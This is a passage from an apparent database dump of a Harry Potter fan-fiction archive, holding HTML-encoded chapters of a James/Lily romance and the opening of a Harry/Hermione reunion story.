They must have been that way for five minutes before James captured Lily&#8217;s lips with his.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily willingly gave in to the kiss. She wrapped her arms around James&#8217; neck as James placed his hands on the small of her back. They fit together surprisingly well each thought, surprised. </p>\n\n<p>&nbsp;</p>\n\n<p>They began to deepen the kiss. James&#8217; tongue begged Lily&#8217;s lips for entrance, which was granted quickly.</p>\n\n<p>&nbsp;</p>\n\n<p>The kiss became more heated and passionate. Their tongues dueled and James backed Lily into a wall. Causing them to succumb more to the wanted passion.</p> '),
	(251, 6, ' <p>~*~Chapter 5~*~</p>\n\n<p>&nbsp;</p>\n\n<p>Lily and James were enjoying themselves immensely. Had anyone who knew of their &#8216;hatred&#8217; seen them they probably would have wet themselves right then and there. After all, when two people who are <i>supposed </i>to<i> hate </i>each other, are caught snogging just outside of the GCR it&#8217;s quite surprising. </p>\n\n<p>&nbsp;</p>\n\n<p>Sirius and Remus were on their way back from the kitchens, where they had stopped to nick some food from the house-elves, when they were greeted with quite a sight.</p>\n\n<p>&nbsp;</p>\n\n<p>Fiery red locks cascading the unmistakable ebony of James Potter&#8217;s unruly ones. </p>\n\n<p>&nbsp;</p>\n\n<p>James and Lily still had not stopped for a breath. Some would be amazed at how long they were holding out. </p>\n\n<p>&nbsp;</p>\n\n<p>Sirius&#8217; mouth stood agape. He looked like a deer caught in the headlights. Remus just shook his head pityingly at him and proceeded to the Common Room. Halfway there he turned to see if Sirius had collected himself enough to follow him.</p>\n\n<p>&nbsp;</p>\n\n<p>Apparently had hadn&#8217;t as he was still standing there like a cataleptic. He was in utter and complete shock. &#8216;What would Marie say when he told her tonight? Mmmm&#8230;tonight!&#8217; That one thought was enough to bring him from his revere. </p>\n\n<p>&nbsp;</p>\n\n<p>The trademark devilish glint once again returned to his eyes as he turned and silently followed Remus.</p>\n\n<p>&nbsp;</p>\n\n<p>They crept into the Gryffindor Common Room not making a sound and went to wake the girls, being Sarah and Marie. Oh, they&#8217;d have a field day with this!</p>\n\n<p>&nbsp;</p>\n\n<p>Finally James and Lily broke apart, both a bit winded from their excursion. Lily had a deep blush in her cheeks. James was not, as most would have bet against, without a crimson tint himself.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wow,&#8221; was all that he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah,&#8221; Lily returned. </p>\n\n<p>&nbsp;</p>\n\n<p>Finally she worked up enough courage to look up at his sparkling sapphire eyes. Her coyness subsided.</p>\n\n<p>&nbsp;</p>\n\n<p>When their eyes met there was a hunger in both sapphire and emerald that one would have thought it impossible that two people could want each other that much. God, did they want each other. </p>\n\n<p>&nbsp;</p>\n\n<p>James once again captured her lips with his.</p>\n\n<p>&nbsp;</p>\n\n<p>Slowly they made their way to the portrait hole, never breaking contact. </p>\n\n<p>&nbsp;</p>\n\n<p>There seemed to be an aura around them. Once again they broke apart, though, only because one of them had to mutter the password. </p>\n\n<p>&nbsp;</p>\n\n<p>Both regained his or her composure as they were met with the sight of curious stares. </p>\n\n<p>&nbsp;</p>\n\n<p>They panicked. Had someone seen them? How would they explain? Oh sod!</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So, are you two still the Head&#8217;s?&#8221; asked a fifth year, named Cole Benning.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wha-? Oh! Yes, y-yes we are!&#8221; Lily was so relieved. She couldn&#8217;t remember a time when she had been more relieved.</p>\n\n<p>&nbsp;</p>\n\n<p>James was still standing there looking like an idiot. Sirius noticed this and took the opportunity to pounce on him, knocking him to the floor. This brought James quickly back to reality. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Prongsie! BABY! Where have you been? We&#8217;ve been worried sick! After all leaving you alone with Lily after your little incident didn&#8217;t seem like a good idea!&#8221; Sirius mocked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Gerr-off me you prat!&#8221; came the muffled voice of one James Potter who was currently face down on the floor of the GCR with his best friend Sirius Black sitting on him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sirius get up! You know that Lily and James have better things to do than stay here in the Common Room, after all they <i>are</i> still the Heads, and I&#8217;m sure they have <i>work</i> to get done.&#8221; Remus managed to keep a straight face throughout his short monologue though Sarah had no idea how. </p>\n\n<p>&nbsp;</p>\n\n<p>That happened to be one of the things that she liked so much about him. Well, beside the fact that he had light brown hair and the most gorgeous hazel eyes she had ever seen&#8230; Wait, was she just dreamily thinking about Remus Lupin, the strange Gryffindor who managed to get off school once a month for no reason at all? That was bad&#8230; he was just too <i>weird</i> for her.</p>\n\n<p>&nbsp;</p>\n\n<p>God help her. She was in it deep. Letting out a small sigh Sarah stood up and headed for the dormitories.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily, sensing something wrong with her friend decided to make James wait for her. Until that time she&#8217;d play along with Sirius&#8217; little &#8216;game&#8217;. </p>\n\n<p>&nbsp;</p>\n\n<p>Sirius had removed himself from James&#8217; back and was now flirtatiously staring at Marie. Lily was <i>sure</i> that <i>they</i> had so called <i>plans</i>.</p>\n\n<p>&nbsp;</p>\n\n<p>She offered James a hand, which he accepted. She leaned over to his ear and told him that they would continue with their <i>meeting</i> after she checked on Sarah. </p>\n\n<p>&nbsp;</p>\n\n<p>Sirius had picked up on this comment and, as soon as Lily and Marie had gone to check on Sarah, he and Remus sauntered over to James.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So, Prongsie, when were planning to tell us about your little &#8216;fling&#8217; with our dear Lily?&#8221; asked Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wha-What are y-you talk-ing about?&#8221; James gulped.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re a terrible liar when you&#8217;re nervous James,&#8221; Remus added.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Umm&#8230;er&#8230;I&#8230;&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;James if you&#8217;re going to snog the Head Girl outside of the Common Room, at least, make sure that you have the cloak. Can you imagine the sight that Remus and I saw? I mean you and Lily playing&#8230;what do the Americans call it?&#8221; Sirius was trying hard to remember the phrase he we looking for.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tonsil-hockey. It&#8217;s quite the sight I might add.&#8221; Remus had decided to save Sirius the trouble of thinking; after all it looked quite painful coming from him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Listen guys, no one can find out about this, do you hear me?&#8221; James demanded.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Whoa, doesn&#8217;t Prongs want to school to know who the first girl he nailed this year is?&#8221; Sirius asked wiggling his eyebrows.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sirius you know for a FACT that I have never done anything more than snog!&#8221; James was appalled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh really? That not what Stephanie Linstom said.&#8221; Sirius was thoroughly perturbed with James.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Who? Oh her&#8230; Wait, what the HELL did she say?&#8221; James was not perturbed, but royally pissed off.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That you guys&#8230;you know&#8230;did IT&#8230;&#8221;Sirius&#8217; voice trailed off to a whisper.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;SHE WHAT! That&#8217;s it she&#8217;ll pay for that! How dare she! What a BITCH!&#8221; James yelled furiously whilst pacing the floor.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t worry about it James, we believe you. You know Sirius, shooting off his mouth again.&#8221; Remus always knew how to make the others level their heads. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You know what, you&#8217;re right Moony! What ever happens between Lily and me will stay between us. And Sirius?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah?&#8221; Sirius responded meekly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;NO telling the school. Please?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You really like her don&#8217;t you?&#8221; Sirius looked as if he had seen James in a brand new light. &#8220;Oh my God you do!&#8221; Sirius was awestruck.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8230;umm&#8230;&#8221; James sighed. &#8220;Yeah, yeah I do. I don&#8217;t know why, but things are different with her&#8230;she makes me feel good. It&#8217;s quite frightening, you know?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, good Luck Prongs. Padfoot and I&#8217;ll do fine without you for one night.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well I should hope so Moony.&#8221; James&#8217; jovial laughter filled the GCR.</p>\n\n<p>&nbsp;</p>\n\n<p>Little did James know that Lily had heard what Sirius and James had been arguing over. She had a newfound respect for James Potter. Not only did he really like her, but also he wasn&#8217;t just playing her to get her in to bed. Maybe he was really a good guy. And maybe, just maybe she had fallen for him too.</p> '),
	(255, 1, '\n\n\n\n<p class="MsoNormal">Disclaimer:&nbsp; I don&#8217;t own these characters&#8230;they are not\nmine. They are JK Rowling&#8217;s, Scholastic Books, etc&#8230;.not mine. I am just a\nHarry/Hermione fan. This is my second fan-fiction and I hope that you all like\nit. Please read and review.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Backstory: It has been\nfive years since Harry Potter has seen either Ron Weasley or Hermione Granger.\nHe left them behind after graduation to lead a solitary life as an auror. A\nsurprise announcement leads him to return to his friends to hopefully reclaim\nthe one thing that he has always wanted:&nbsp;&nbsp;\nHermione&#8217;s heart, but can time heal all wounds? </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter One</p>\n\n<p class="MsoNormal">Memories</p>\n\n<p class="MsoNormal"><br>\nSydney, Australia</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry Potter was tired. He hadn&#8217;t slept in 48 hours.\nThere simply hadn&#8217;t been time. The surprise raids had taken two days to\ncomplete and the next few days would involve intensive interrogations. They had\ncaptured a group of Death Eaters who had retreated to Australia following the\ndefeat of Lord Voldemort. The group had been working on a coup of the Ministry\nof Magic in London. Extensive spying and recognizance had led them to Australia\nwhere they had successfully caught all the suspects. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">With\neveryone present and accounted for, Harry had retreated back to his hotel room\nfor some much needed rest. Such was the life on an auror, he thought. He had\nknown what he was getting into when he&#8217;d signed up five years ago. Despite all\nhe&#8217;d been through, he&#8217;d still arrived for that first day on the job as\nwide-eyed as he&#8217;d been when Hagrid had first taken him to Diagon Alley. He had\nfollowed his godfather, Sirius Black, into the career field of an auror. Sirius\nhad become one shortly after his name had been cleared. Harry had followed in\nhis godfather&#8217;s footsteps and for the most part, he was glad to have done it.\nIt gave his life some purpose. Considering what his mother and father had given\nup for him, he&#8217;d felt that he&#8217;d owed it to them to do something like this. He&#8217;d\nfelt the need to protect those closest to him. But this had come at great\nconsequence. In order to protect them, he&#8217;d had to leave them behind. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">The\nhardest thing had been to leave her behind. While it had been five years since\nhe&#8217;d last seen her face, since he&#8217;d last heard her voice, he could still close\nhis eyes and see her. He could dream about her. That was all that he had left\nnow, memories. He tried to tell himself that it was for the best. She was safe,\nnow. She was a thousand miles away, but she was safe. That was the important\nthing. He&#8217;d hoped she was happy. He had started so many notes to her, but had\nnever sent any of them to her. What good would it do? She wouldn&#8217;t welcome him\nback with open arms, especially after what had happened that last night. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">He\ndidn&#8217;t want to think about that, now. He instead remembered that first day he&#8217;d\nmet her. It had been on the Hogwarts Express. He had just met Ron, who was\nabout to show him a spell to turn his rat, Scabbers, yellow. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;&#8230;<i>the\ntoadless boy was back, but this time he had a girl with him. She was already\nwearing her new Hogwarts robes. &nbsp; &#8220;Has\nanyone seen a toad? Neville&#8217;s lost one,&#8221; she said. She had a bossy sort of\nvoice, lots of bushy brown hair, and rather large front teeth. </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&#8220;We&#8217;ve\nalready told him we haven&#8217;t seen it,&#8221; said Ron, but the girl wasn&#8217;t listening,\nshe was looking at the wand in his hand. </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&#8220;Oh,\nare you doing magic? Let&#8217;s see it, then?&#8221; She sat down. Ron looked taken aback.\n</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&#8220;Er----all\nright.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>He\ncleared his throat. </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&#8220;Sunshine,\ndaisies, butter mellow, Turn this stupid, fat rat yellow.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>He\nwaved his wand, but nothing happened. Scabbers stayed gray and fast asleep. </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&#8220;Are\nyou sure that&#8217;s a real spell?&#8221; said the girl. &#8220;Well, it&#8217;s not very good, is it?\nI&#8217;ve tried a few simple spells just for practice and it&#8217;s all worked for me.\nNobody in my family&#8217;s magic at all, it was ever such a surprise when I got my\nletter, but I was ever so pleased, of course, I mean, it&#8217;s the very best school\nof witchcraft there is, I&#8217;ve heard---I&#8217;ve learned all our course books by\nheart, of course, I just hope it will be enough----I&#8217;m Hermione Granger, by the\nway, who are you?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>She\nsaid all this very fast. </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&#8220;I&#8217;m\nRon Weasley,&#8221; Ron muttered. </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&#8220;Harry\nPotter,&#8221; said Harry. </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&#8220;Are\nyou really?&#8221; said Hermione. &#8220;I know all about you of course----I got a few\nextra books for background reading, and you&#8217;re in <u>Modern Magical History </u>&nbsp;and <u>The Rise and Fall of the Dark Arts </u>&nbsp;and <u>Great Wizarding Events of the\nTwentieth Century</u>. </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoBodyTextIndent">Harry laughed as he remembered Ron commenting how\nthat whatever house he was put in, he&#8217;d hoped that she wouldn&#8217;t be in it. Over\nthe next seven years, both he and Ron came to eat those words, after all the\nscrapes and adventures Hermione had helped them through. She had changed so\nmuch from that bossy, know-it-all girl who&#8217;d barged into that train compartment\nthat day. Over the years, she&#8217;d become a kind, compassionate, caring girl who\nstill loved to be in charge and still had the same headstrong, competitive\nnature. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">To\nbe honest, he&#8217;d never thought of her, consciously anyway, in a romantic sense\nfor a long time. This was due partly due to his suspicion that Ron harbored\nfeelings for Hermione and partly to his own boyish stupidity. He&#8217;d been to\nblind to see that the perfect girl had been right in front of him the entire\ntime. He&#8217;d dated other girls while at Hogwarts. None of them could have held a\ncandle to Hermione. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When\nhe realized this, he&#8217;d been afraid he&#8217;d been too late. Their seventh and final\nyear at Hogwarts was coming to a close. Graduation had been only a few days\naway. As Head Girl, she was to give a sort of valedictory speech for her\nclassmates. This was quite an honor and Hermione had been very proud of this,\nas she should have been. Harry knew, though, that Hermione was nervous. She had\nconfided as much to him one night in the Common Room. Ron had dosed off on the\ncouch and Harry and Hermione were sitting in front of the fire. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I\ndon&#8217;t know what I&#8217;m going to do,&#8221; she&#8217;d said. &#8220;Graduation is four days away and\nI haven&#8217;t even finished my speech.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well,\nwhat do you have so far?&#8221; Harry asked her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I&#8217;ve decided to start with, &#8216;Greetings fellow\nstudents, professors, distinguished guests, family and friends&#8217;,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And then what?&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s pretty much all I&#8217;ve got,&#8221; Hermione said,\nsheepishly. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; Harry said. &#8220;Well, it&#8217;s a start.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, it&#8217;s not,&#8221; Hermione said. &#8220;It&#8217;s not a start. This is\nhorrible. What am I going to do? What are you laughing at, Harry. This is not\nfunny!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry tried to stifle his laughter. &#8220;I&#8217;m sorry. I&#8217;ve just\nnever seen you at a loss for words,&#8221; he said. &#8220;Ron will hate that he missed\nthis.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re not helping me,&#8221; she said. &#8220;Come on. Give me some\nidea of what I could say.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I think you&#8217;re trying too hard,&#8221; Harry said.\n&#8220;Don&#8217;t get too caught up in what you should say or what others think you should\nsay. Just get up there and speak from your heart. You can do it.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I wish it was that simple,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It is,&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, just give me your word that if I get up there and\ncompletely make a fool of myself you won&#8217;t laugh at me,&#8221; she said. &#8220;Promise\nme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Harry said. &#8220;I promise. Besides, I think you\nwon&#8217;t have a problem thinking of something to say. You&#8217;ll probably have a\nproblem keeping it short. I mean, I seem to remember someone giving a speech in\nProfessor Binn&#8217;s class that lasted two hours, forty-five minutes and twenty\nseconds.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It wasn&#8217;t that long,&#8221; Hermione said, rolling her eyes.\n&#8220;Besides, it was a very interesting subject. And as I recall you stayed awake\nthrough the whole thing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s because I was pressing my quill into my leg to\nkeep me awake,&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Very funny, Potter,&#8221; Hermione said, and she took a\npillow from the couch and hit him upside the head with it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey!&#8221; Harry said. &#8220;You&#8217;ll pay for that, Granger.&#8221; Harry\nalso picked up a pillow and began to chase a giggling Hermione around the\ncommon room. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For a seeker, you sure are pretty slow. You can catch a\nsmall snitch, but you can&#8217;t catch a girl!&#8221; Hermione yelled as she ran behind\nthe bookshelf. Harry caught her off-guard and they both fell to the floor. They\nwere both breathless and laughing. Harry was on top of Hermione holding her arms\ndown. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Say uncle,&#8221; he said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Never,&#8221; she said, breathlessly. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come on,&#8221; he said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No!&#8221; she said, hiccupping. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All of a sudden, though, Harry stopped laughing. He was\nlooking into her brown eyes. She looked beautiful. She, too, had stopped\nlaughing. Their faces were inches apart. He was just leaning in to kiss her,\nwhen a loud, annoyed voice interrupted them. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For heaven&#8217;s sake, I&#8217;m trying to get some sleep over\nhere,&#8221; Ron said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry quickly let go of Hermione and stood up to face his\nfriend. &#8220;Sorry, mate,&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, I&#8217;m sorry, Ron,&#8221; Hermione said, standing up.\n&#8220;Well, I&#8217;m gonna head on up to my room and work on my speech. Good night,\nguys.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good night, Hermione,&#8221; Ron said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good night, Hermione,&#8221; Harry said. He smiled uncomfortably\nat her and she smiled back and quickly headed upstairs. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Something had happened just then that neither of them\nwere ready to deal with yet. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; And that was only the beginning. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Looking back on that night, five years later, Harry\nwished he had kissed her that night. What if Ron hadn&#8217;t interrupted them? There\nwas a lot of what ifs from that last week, that last year at Hogwarts. Harry\ndidn&#8217;t want to think about them now. He wanted to sleep and finally sleep did\ncome. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(255, 2, '\n\n\n\n<p class="MsoNormal">Disclaimer:&nbsp; <br>\nNot my characters, yada, yada, yada&#8230;.property of J.K. Rowling&#8230;.etc. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks to all that have given me such great reviews! I\nappreciate it so much. Keep &#8216;em coming! I apologize for this one being so\nshort! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter Two</p>\n\n<p class="MsoNormal">Extra! Extra! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius woke\nHarry up early the next morning. He knocked on Harry&#8217;s door and told his godson\nto meet him downstairs at the hotel restaurant for breakfast. They would grab a\nquick bite to eat and then head back to the center to continue the\ninterrogations of the Death Eaters they&#8217;d caught. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was a refreshed,\nbut still somewhat groggy Harry that went downstairs that morning. He saw\nSirius sitting at a table nursing a cup of coffee and reading something. As\nHarry got closer, he could see it was some sort of newspaper. Whatever it was,\nSirius was totally engrossed in it. He hadn&#8217;t seen or heard Harry approach. When\nHarry sat down, Sirius jumped in his seat and quickly put the newspaper under\nthe files that lay beside his breakfast plate. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you\nokay?&#8221; Harry said. &#8220;Sorry to startle you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s okay,&#8221;\nSirius said, hastily. He began to pour Harry a cup of coffee. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221;\nHarry said, taking a piece of toast and jam. &#8220;What were you reading anyway?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I wasn&#8217;t\nreading anything,&#8221; Sirius said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, you\nwere. The newspaper?&#8221; Harry said, pointing to the crumpled paper under the\nfiles. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, just\nthe, um, <i>The Daily Prophet</i>,&#8221; Sirius said. &#8220;It was owled to me just this\nmorning.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Anything\ninteresting to report?&#8221; Harry asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing\nnew. You know, the same old stuff that&#8217;s always in there,&#8221; Sirius said. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, can\nI see it?&#8221; Harry asked. &#8220;I&#8217;d like to see what&#8217;s going on back home.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He held out\nhis hand, but Sirius just sat there. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t\nthink that&#8217;d be a good idea,&#8221; he said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why not?&#8221;\nHarry said. &#8220;It&#8217;s just the newspaper. Oh, I get it. There&#8217;s another article in there\nabout me? I&#8217;ve been reading the rubbish they write in there since I was 11. I&#8217;m\nkind of used to it.&#8221; </p>\n\n<p 